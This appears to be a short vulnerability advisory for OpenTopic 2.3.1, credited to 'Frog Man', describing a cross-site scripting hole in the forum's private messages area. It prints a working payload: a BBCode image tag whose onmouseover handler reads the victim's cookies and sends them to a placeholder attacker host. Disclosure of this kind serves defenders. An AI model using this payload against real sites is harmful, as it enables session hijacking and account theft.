COMMAND

	OpenTopic XSS (script injection) -> Cookies recovery

SYSTEMS AFFECTED

	OpenTopic Version : 2.3.1

PROBLEM

	Frog Man [leseulfrog@hotmail.com] found :
	
	 Location/Exploit :
	 °°°°°°°°°°°°°°°°°°
	
	The   XSS    hole    is    in    the    private    messages    area    (
	http://[target]/OpenTopic?a=ugtpc ).
	 XSS to get cookie :
	
	[IMG]http://[website]/img.gif"width="750"height="750"onmouseover="a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG]
	
	
	 More details about XSS :
	 °°°°°°°°°°°°°°°°°°°°°°°°
	
	In French :
	
	 http://www.phpsecure.org/article/XSS.php
	

SOLUTION

	see [http://www.infopop.com]